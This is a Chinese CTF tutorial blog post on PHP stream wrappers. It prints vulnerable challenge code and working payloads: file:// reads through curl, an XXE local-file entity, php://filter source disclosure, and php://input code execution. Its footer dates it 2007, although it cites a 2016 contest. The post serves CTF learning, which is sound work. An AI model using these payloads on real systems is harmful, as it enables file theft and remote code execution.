Chybeta

浅谈php伪协议及在CTF比赛中的应用

file://

利用该协议可以访问本地文件系统,从而可能读取到敏感文件。

直接使用

以wechall上的一题为例:

1
http://www.wechall.net/challenge/crappyshare/index.php?show=code

第215行开始,有如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
省略
function upload_please_by_url($url){
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL?
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.'); }
else
{
// Thanks
upload_please_thx($file_data); }
}
else
{
htmlDisplayError('Your URL looks errorneous.'); }
}
省略
?>

curl_exec($ch)中的$ch可控,原本是希望能curl到远程服务器上的资源,但这里可以利用file://读取到本地敏感文件。

1
http://www.wechall.net/challenge/crappyshare/crappyshare.php

结合其他方法

比如XXE中,经常使用它来引入外部实体符号。比如以下payload:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://TEST.txt">]>
<root>&file;</root>

更详细的内容可以见:小试XML实体注入攻击

php://

http://cn2.php.net/manual/zh/wrappers.php.php

访问各个输入/输出流(I/O streams)

php://filter

读取文件

这个经常在ctf比赛中用来读取源码,返回的是base64加密后的结果。
假设index.php源码如下:

1
2
3
4
<?php
@include($_GET["chybeta"]);
show_source(__FILE__);
?>

利用php://filter读取index.php源码

1
http://XXX/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

有时候也可以直接用以下payload:

1
http://XXX/index.php?file==php://filter/resource=index.php

php://input

基本利用

php://input 是个可以访问请求的原始数据的只读流,可以读取到来自POST的原始数据。但当 enctype=”multipart/form-data” 的时候 php://input 是无效的。

16年华山杯,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
?>

可以利用php://input。如下:

类似的题目,在jarvisoj的IN A mess可见到。

代码执行

利用条件:allow_url_include = On。不过其实若allow_url_include = On 的话就可以直接远程文件包含了:)。测试代码同上。

1
2
url: http://localhost:20000/index.php?chybeta=php://input
post: <? phpinfo() ?>

若没有开启allow_url_include,则会执行失败。

http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs

zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流

expect://

用于处理交互式的流。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:浅谈php伪协议及在CTF比赛中的应用

文章作者:chybeta

发布时间:2007年06月22日 - 20:06

最后更新:2017年07月28日 - 16:07

原始链接:http://chybeta.github.io/2007/06/22/浅谈php伪协议及在CTF比赛中的应用/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。